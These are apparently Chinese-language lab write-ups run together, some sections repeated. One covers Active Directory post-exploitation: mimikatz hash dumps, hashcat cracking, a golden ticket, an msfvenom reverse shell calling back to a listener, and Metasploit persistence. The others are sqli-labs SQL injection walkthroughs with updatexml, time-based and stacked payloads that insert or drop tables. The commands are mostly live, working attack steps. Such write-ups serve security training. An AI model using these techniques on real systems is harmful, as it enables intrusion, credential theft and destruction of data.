2023-11-24T20:46:32.8172956-08:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for CONTROLLER
.local : Domain-Controller.CONTROLLER.local
2023-11-24T20:46:33.0672993-08:00|INFORMATION|Loaded cache with stats: 62 ID to type mappings.
64 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2023-11-24T20:46:33.0672993-08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts
, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-11-24T20:46:33.2235657-08:00|INFORMATION|Beginning LDAP search for CONTROLLER.local
2023-11-24T20:46:33.2547964-08:00|INFORMATION|Producer has finished, closing LDAP channel
2023-11-24T20:46:33.3016734-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-11-24T20:47:03.4735941-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 88 MB RAM
2023-11-24T20:47:12.3341448-08:00|INFORMATION|Consumers finished, closing output channel
2023-11-24T20:47:12.3653931-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-11-24T20:47:12.4747656-08:00|INFORMATION|Status: 104 objects finished (+104 2.666667)/s -- Using 96 MB RAM
2023-11-24T20:47:12.4747656-08:00|INFORMATION|Enumeration finished in 00:00:39.2602245
2023-11-24T20:47:12.5528905-08:00|INFORMATION|Saving cache with stats: 62 ID to type mappings.
64 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2023-11-24T20:47:12.5685176-08:00|INFORMATION|SharpHound Enumeration Completed at 8:47 PM on 11/24/2023! Happy G
raphing!
把靶機生成的東西丟到攻擊機:
scp Administrator@10.10.18.32:20231124204711_loot.zip 20231124204711_loot.zip
開啟攻擊機的bloodhound,點下圖右方的Upload Data,上傳剛剛生成的zip:
這時就會顯示拓樸:
What service is also a domain admin? SQLSERVICE。點擊下圖黑色手指所指的地方即可,不過顯示出來的結果都被這塊面板遮住了,所以也不曉得答案怎麼冒出來的。
What two users are Kerberoastable? SQLSERVICE,KRBTGT。一樣點下圖黑色手指所指的地方即可,會出現答案如下圖右方:
PS C:\Users\Administrator> cd .\Downloads\
PS C:\Users\Administrator\Downloads> dir
Directory: C:\Users\Administrator\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/14/2020 11:39 AM 1261832 mimikatz.exe
-a---- 5/14/2020 11:41 AM 374625 PowerView.ps1
-a---- 11/24/2023 8:02 PM 1308348 SharpHound.ps1
PS C:\Users\Administrator\Downloads> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
如上面,找到mimikatz並執行,輸入privilege::debug
,成功後其他的指令才可順利執行。因為這一台是domain controller,所以可以利用lsadump::lsa /patch
指令把域內其他機器的hash給dump出來:
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
RID : 0000044f (1103)
User : Machine1
LM :
NTLM : 64f12cddaa88057e06a81b54e73b949b
RID : 00000451 (1105)
User : Admin2
LM :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe
RID : 00000452 (1106)
User : Machine2
LM :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0
RID : 00000453 (1107)
User : SQLService
LM :
NTLM : f4ab68f27303bcb4024650d8fc5f973a
RID : 00000454 (1108)
User : POST
LM :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2
RID : 00000457 (1111)
User : sshd
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM :
NTLM : 9ec2cec8b80ef3bc2f613798e502b476
RID : 00000455 (1109)
User : DESKTOP-2$
LM :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c
RID : 00000456 (1110)
User : DESKTOP-1$
LM :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a
What is the Machine1 password? Password1。這一題是把Machine1的NTLM(64f1xxx的)拿去用hashcat搭配rockyou字典檔破密:
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-10400 CPU @ 2.90GHz, 1435/2935 MB (512 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
64f12cddaa88057e06a81b54e73b949b:Password1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 64f12cddaa88057e06a81b54e73b949b
Time.Started.....: Sat Nov 25 01:02:41 2023 (1 sec)
Time.Estimated...: Sat Nov 25 01:02:42 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 11116 H/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3584/14344385 (0.02%)
Rejected.........: 0/3584 (0.00%)
Restore.Point....: 3328/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: asdf1234 -> fresa
Hardware.Mon.#1..: Util:100%
Started: Sat Nov 25 00:57:26 2023
Stopped: Sat Nov 25 01:02:43 2023
What is the Machine2 Hash? c39f2beb3d2ec06a62cb887fb391dee0
接下來是dump出krbtgt的相關資訊(如sid、md5、NTLM等),以便之後創造golden ticket:
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5508500012cc005cf7082a9a89ebdfdf
LM :
Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
* WDigest
01 49a8de3b6c7ae1ddf36aa868e68cd9ea
02 7902703149b131c57e5253fd9ea710d0
03 71288a6388fb28088a434d3705cc6f2a
04 49a8de3b6c7ae1ddf36aa868e68cd9ea
05 7902703149b131c57e5253fd9ea710d0
06 df5ad3cc1ff643663d85dabc81432a81
07 49a8de3b6c7ae1ddf36aa868e68cd9ea
08 a489809bd0f8e525f450fac01ea2054b
09 19e54fd00868c3b0b35b5e0926934c99
10 4462ea84c5537142029ea1b354cd25fa
11 6773fcbf03fd29e51720f2c5087cb81c
12 19e54fd00868c3b0b35b5e0926934c99
13 52902abbeec1f1d3b46a7bd5adab3b57
14 6773fcbf03fd29e51720f2c5087cb81c
15 8f2593c344922717d05d537487a1336d
16 49c009813995b032cc1f1a181eaadee4
17 8552f561e937ad7c13a0dca4e9b0b25a
18 cc18f1d9a1f4d28b58a063f69fa54f27
19 12ae8a0629634a31aa63d6f422a14953
20 b6392b0471c53dd2379dcc570816ba10
21 7ab113cb39aa4be369710f6926b68094
22 7ab113cb39aa4be369710f6926b68094
23 e38f8bc728b21b85602231dba189c5be
24 4700657dde6382cd7b990fb042b00f9e
25 8f46d9db219cbd64fb61ba4fdb1c9ba7
26 36b6a21f031bf361ce38d4d8ad39ee0f
27 e69385ee50f9d3e105f50c61c53e718e
28 ca006400aefe845da46b137b5b50f371
29 15a607251e3a2973a843e09c008c32e3
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 64ef5d43922f3b5d
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
des_cbc_md5 (4096) : 64ef5d43922f3b5d
* NTLM-Strong-NTOWF
Random Value : 666caaaaf30081f30211bd7fa445fec4
mimikatz創建golden ticket之指令(一):
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-9866
96166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime : 11/24/2023 10:49:34 PM ; 11/21/2033 10:49:34 PM ; 11/21/2033 10:49:34 PM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
和上面是相同的指令,但是多了ticket名稱。接下來用kerberos::ptt test.kiribi
指令試試ptt(pass the ticket)。
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-9866
96166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500 /ticket:test.kiribi
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
-> Ticket : test.kiribi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
mimikatz # kerberos::ptt test.kiribi
* File: 'test.kiribi': OK
mimikatz # exit
Bye!
PS C:\Users\Administrator\Downloads> klist
Current LogonId is 0:0x24ffe0
Cached Tickets: (1)
#0> Client: Administrator @ controller.local
Server: krbtgt/controller.local @ controller.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 11/24/2023 23:06:09 (local)
End Time: 11/21/2033 23:06:09 (local)
Renew Time: 11/21/2033 23:06:09 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
(TODO)導入成功後可獲取域管權限?
What tool allows to view the event logs? Event Viewer
What is the SQL Service password? MYpassword123#
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.18.71.25 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# scp shell.exe Administrator@10.10.9.214:shell.exe
The authenticity of host '10.10.9.214 (10.10.9.214)' can't be established.
ED25519 key fingerprint is SHA256:WGyVsv2zGcSJEHIwp99EmFf5p6Q49BhKyHfmoVOGCAg.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:31: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.9.214' (ED25519) to the list of known hosts.
Administrator@10.10.9.214's password:
shell.exe 100% 72KB 72.1KB/s 00:00
上面是生成後門的指令,並上傳至靶機(10.10.9.214),再來是進入靶機的powershell確認是否有上傳成功,的確有一個shell的執行檔:
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator> ls
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/13/2020 8:01 PM 3D Objects
d-r--- 5/13/2020 8:01 PM Contacts
d-r--- 5/13/2020 8:01 PM Desktop
d-r--- 5/14/2020 8:27 PM Documents
d-r--- 10/3/2020 8:33 AM Downloads
d-r--- 5/13/2020 8:01 PM Favorites
d-r--- 5/13/2020 8:01 PM Links
d-r--- 5/13/2020 8:01 PM Music
d-r--- 5/13/2020 8:01 PM Pictures
d-r--- 5/13/2020 8:01 PM Saved Games
d-r--- 5/13/2020 8:01 PM Searches
d-r--- 5/13/2020 8:01 PM Videos
-a---- 11/25/2023 12:18 AM 73802 shell.exe
PS C:\Users\Administrator>
接下來啟動攻擊機的metasploit,利用exploit/multi/handler
模組來聽port:
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.18.71.25
LHOST => 10.18.71.25
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
靶機要執行shell:
PS C:\Users\Administrator> ls
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/13/2020 8:01 PM 3D Objects
d-r--- 5/13/2020 8:01 PM Contacts
d-r--- 5/13/2020 8:01 PM Desktop
d-r--- 5/14/2020 8:27 PM Documents
d-r--- 10/3/2020 8:33 AM Downloads
d-r--- 5/13/2020 8:01 PM Favorites
d-r--- 5/13/2020 8:01 PM Links
d-r--- 5/13/2020 8:01 PM Music
d-r--- 5/13/2020 8:01 PM Pictures
d-r--- 5/13/2020 8:01 PM Saved Games
d-r--- 5/13/2020 8:01 PM Searches
d-r--- 5/13/2020 8:01 PM Videos
-a---- 11/25/2023 12:18 AM 73802 shell.exe
PS C:\Users\Administrator> . .\shell.exe
這時可以發現攻擊機的shell彈回來了:
┌──(root㉿kali)-[/home/kali/THM/Post-Exploitation]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.18.71.25
LHOST => 10.18.71.25
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.18.71.25:4444
[*] Sending stage (175686 bytes) to 10.10.9.214
[*] Meterpreter session 1 opened (10.18.71.25:4444 -> 10.10.9.214:49826) at 2023-11-25 03:23:44 -0500
meterpreter >
用bg隱藏目前shell,可以用msf的exploit/windows/local/persistence
模組來持久化,指令如下。
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set session 1
session => 1
msf6 exploit(windows/local/persistence) > run
[*] Running persistent module against DOMAIN-CONTROLL via session ID: 1
[+] Persistent VBS script written on DOMAIN-CONTROLL to C:\Users\Administrator\AppData\Local\Temp\WeIbKKpsuYFdt.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\yyQdMfeoZAp
[+] Installed autorun on DOMAIN-CONTROLL as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\yyQdMfeoZAp
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/DOMAIN-CONTROLL_20231125.2834/DOMAIN-CONTROLL_20231125.2834.rc
持久化的好處,是如果靶機掉線,攻擊機可以很快再連回來,如下圖:
]]>一進入網頁,先看到的是以下頁面:
照上圖反藍處的說明,把原本的id=1改成sort=1:
可以看見列出帳密的表格。
可以發現這一次在1後面多加了desc
,即可造成表格變化,從大排到小,所以存在sql injection注入。
這一次的sql語句為:
sql = "SELECT * FROM users ORDER BY id";
因為注入點是在order by以後,所以大家把這叫做order by注入。
這一關沒做什麼防護,大概也是屬於數值型,不需要什麼閉合,所以隨便輸入個什麼都能注入:
上圖是使用報錯注入,語句如上圖反藍處,結果如上圖反灰處。
語句分析:
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
這兩句要表達的意思是一樣的,as x其實就是concat(database(),floor(rand(0)*2))
先來看看rand(0)。rand()是可以產生介於0-1之間的隨機數的函數。如果指定了括號內的數字,那麼每一次都會給出一樣的數字:
mysql> select rand();
+---------------------+
| rand() |
+---------------------+
| 0.01474338305624517 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand();
+----------------------+
| rand() |
+----------------------+
| 0.008617774591425225 |
+----------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
而floor(n)則會返回不大於n的最大整數,所以floor(3.3)返回3,floor(-3.3)返回-4。
concat()是字符串拼接函數,拼接多个字符串。
接下來看看group by跟count(*)。group by在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by的對象便是該臨時表的主鍵。如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!
假設現在我們的user這個table的內容是:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
+----+----------+------------+
14 rows in set (0.00 sec)
然後接下來下的指令是:
select count(*) from users group by username;
那麼這指令會新創一張表,把剛剛users那張表的username作為主鍵,計算出現的次數,如下所示:
實例:
mysql> select count(*),username from users group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
| 1 | admin |
| 1 | admin1 |
| 1 | admin2 |
| 1 | admin3 |
| 1 | admin4 |
| 1 | Angelina |
| 1 | batman |
| 1 | dhakkan |
| 1 | Dumb |
| 1 | Dummy |
| 1 | less38 |
| 1 | secure |
| 1 | stupid |
| 1 | superman |
+----------+----------+
14 rows in set (0.00 sec)
所以再次回到原本的語句:
select count(*) from users group by concat(database(),floor(rand(0)*2));
這一次的主鍵是concat(database(),floor(rand(0)2)),所以主鍵可能會是security 0(0是floor(rand(0)2))的結果),問題是每一次主鍵重複,只會硬插入,不會再count累加,因此報錯。
floor()報錯注入的原因是group by在向臨時表插入數據時,由於rand()多次計算導致插入臨時表時主鍵重覆,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行後的結果。
當然,也可以使用updatexml來進行報錯攻擊:
用以下查詢語句,取代上圖反藍即可:
#顯示目前DB
updatexml(1,concat("!",(database())),2)
#爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
#爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
#爆出column內容
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)#LIMIT後面數字可以控制要爆出第幾號帳密。
跟less-46相同,只是這一次是用單引號閉合,注意要有and。只要把下圖反藍換成less-46最後的updatexml報錯語句即可。
1' and (updatexml(1,concat("!",(database())),2))--+
這一次是數值型注入,錯誤不回顯,所以無法再用updatexml進行報錯注入,所以改用延時注入:
1 and if(length(database())='8',sleep(1),1) --+
上圖藍字可改為其他條件,若條件成立可多load 1秒。
一樣錯誤不回顯,用延時注入,這一次是單引號閉合:
1' and if(length(database())='8',sleep(1),1) --+
這一次是order by注入+堆疊注入,注入模式為數值型,不須閉合:
sort=1;create table demo like users;--+
上圖反藍可以換成其他操作語句。
跟上題相同,只是閉合變成單引號:
sort=1';create table demo like users;--+
payload同less-50,只是這一次頁面不會回顯。
payload同less-51,只是這一次頁面不會回顯。
一進入網頁,先看到的是以下頁面:
照上圖反藍處的說明,把原本的id=1改成sort=1:
可以看見列出帳密的表格。
可以發現這一次在1後面多加了desc
,即可造成表格變化,從大排到小,所以存在sql injection注入。
這一次的sql語句為:
sql = "SELECT * FROM users ORDER BY id";
因為注入點是在order by以後,所以大家把這叫做order by注入。
這一關沒做什麼防護,大概也是屬於數值型,不需要什麼閉合,所以隨便輸入個什麼都能注入:
上圖是使用報錯注入,語句如上圖反藍處,結果如上圖反灰處。
語句分析:
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
這兩句要表達的意思是一樣的,as x其實就是concat(database(),floor(rand(0)*2))
先來看看rand(0)。rand()是可以產生介於0-1之間的隨機數的函數。如果指定了括號內的數字,那麼每一次都會給出一樣的數字:
mysql> select rand();
+---------------------+
| rand() |
+---------------------+
| 0.01474338305624517 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand();
+----------------------+
| rand() |
+----------------------+
| 0.008617774591425225 |
+----------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
而floor(n)則會返回不大於n的最大整數,所以floor(3.3)返回3,floor(-3.3)返回-4。
concat()是字符串拼接函數,拼接多个字符串。
接下來看看group by跟count(*)。group by在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by的對象便是該臨時表的主鍵。如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!
假設現在我們的user這個table的內容是:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 38 | less38 | hello |
+----+----------+------------+
14 rows in set (0.00 sec)
然後接下來下的指令是:
select count(*) from users group by username;
那麼這指令會新創一張表,把剛剛users那張表的username作為主鍵,計算出現的次數,如下所示:
實例:
mysql> select count(*),username from users group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
| 1 | admin |
| 1 | admin1 |
| 1 | admin2 |
| 1 | admin3 |
| 1 | admin4 |
| 1 | Angelina |
| 1 | batman |
| 1 | dhakkan |
| 1 | Dumb |
| 1 | Dummy |
| 1 | less38 |
| 1 | secure |
| 1 | stupid |
| 1 | superman |
+----------+----------+
14 rows in set (0.00 sec)
所以再次回到原本的語句:
select count(*) from users group by concat(database(),floor(rand(0)*2));
這一次的主鍵是concat(database(),floor(rand(0)2)),所以主鍵可能會是security 0(0是floor(rand(0)2))的結果),問題是每一次主鍵重複,只會硬插入,不會再count累加,因此報錯。
floor()報錯注入的原因是group by在向臨時表插入數據時,由於rand()多次計算導致插入臨時表時主鍵重覆,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行後的結果。
當然,也可以使用updatexml來進行報錯攻擊:
用以下查詢語句,取代上圖反藍即可:
#顯示目前DB
updatexml(1,concat("!",(database())),2)
#爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
#爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
#爆出column內容
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)#LIMIT後面數字可以控制要爆出第幾號帳密。
跟less-46相同,只是這一次是用單引號閉合,注意要有and。只要把下圖反藍換成less-46最後的updatexml報錯語句即可。
1' and (updatexml(1,concat("!",(database())),2))--+
這一次是數值型注入,錯誤不回顯,所以無法再用updatexml進行報錯注入,所以改用延時注入:
1 and if(length(database())='8',sleep(1),1) --+
上圖藍字可改為其他條件,若條件成立可多load 1秒。
一樣錯誤不回顯,用延時注入,這一次是單引號閉合:
1' and if(length(database())='8',sleep(1),1) --+
這一次是order by注入+堆疊注入,注入模式為數值型,不須閉合:
sort=1;create table demo like users;--+
上圖反藍可以換成其他操作語句。
跟上題相同,只是閉合變成單引號:
sort=1';create table demo like users;--+
payload同less-50,只是這一次頁面不會回顯。
payload同less-51,只是這一次頁面不會回顯。
這一題一樣是用單引號進行閉合,可以發現的確有sql injection:
不過這一次的php原始碼有以下函數:
代表我們可以使用「堆疊注入」,也就是一次執行多個指令,指令間以分號隔開。
可以看看原本資料庫:
D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 128
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select * from users;
ERROR 1046 (3D000): No database selected
mysql> use security;
Database changed
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
經過堆疊注入
0';insert into users(id,username,password) values(38,'less38','hello')--+
之後的資料庫:
的確多了剛剛堆疊注入出的less-38這個帳號。也可以試試多創建一個table:
0';CREATE TABLE WhiteMoon LIKE users;--+
也的確會多出table:
mysql> select TABLE_NAME from information_schema.tables where TABLE_SCHEMA = database();
+------------+
| TABLE_NAME |
+------------+
| emails |
| referers |
| uagents |
| users |
| whitemoon |
+------------+
5 rows in set (0.00 sec)
也可以刪除,只要把上圖反藍替換成刪除語句即可:
0';DROP TABLE WhiteMoon;--+
看看下圖,可以比對出的確有刪除。
是數值型注入,除了不須加單引號外,其他都一樣:
1;CREATE TABLE WhiteMoon LIKE users;--+
1;DROP TABLE WhiteMoon;--+
一樣,只是要注意閉合是')
。
1');DROP TABLE WhiteMoon;--+
可以用跟less-39一模一樣的方式來新增跟刪除table,這題的主要不同點在於這題錯誤不回顯,是盲注。
看到輸入密碼畫面,總之先用
https://github.com/payloadbox/sql-injection-payload-list
裡面的SQL Injection Auth Bypass Payloads來爆破一次。可以得知在以下payload時會出現錯誤訊息:
可以發現這些payload(length 962-973)的共通點是單引號,所以大概那就是閉合。而這一次一樣是堆疊注入,所以就如法炮製試試看:
帳/密: admin/c';create table less42 like users#
帳/密: admin/c';drop table less42#
如果直接用admin/admin登入成功,則會出現更新密碼畫面:
不過這一題不是二次注入,所以也沒用。
跟less-42一樣,只是閉合變成了')
。這樣的閉合,從下圖length最小的前3個可見一斑。
上圖反藍的payload,雖然上圖下方的Render沒有顯示出來,但實際用其中一個admin'#
,可以成功登入如下圖:
代表這一次還是單引號閉合。之後就一樣是堆疊注入
admin';create table test like users;#
admin';drop table test;#
跟之前的差別,只是這一次不會回顯。
跟43關payload相同,但跟43一樣不會有報錯訊息。
]]>這一題一樣是用單引號進行閉合,可以發現的確有sql injection:
不過這一次的php原始碼有以下函數:
代表我們可以使用「堆疊注入」,也就是一次執行多個指令,指令間以分號隔開。
可以看看原本資料庫:
D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 128
Server version: 5.5.47 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select * from users;
ERROR 1046 (3D000): No database selected
mysql> use security;
Database changed
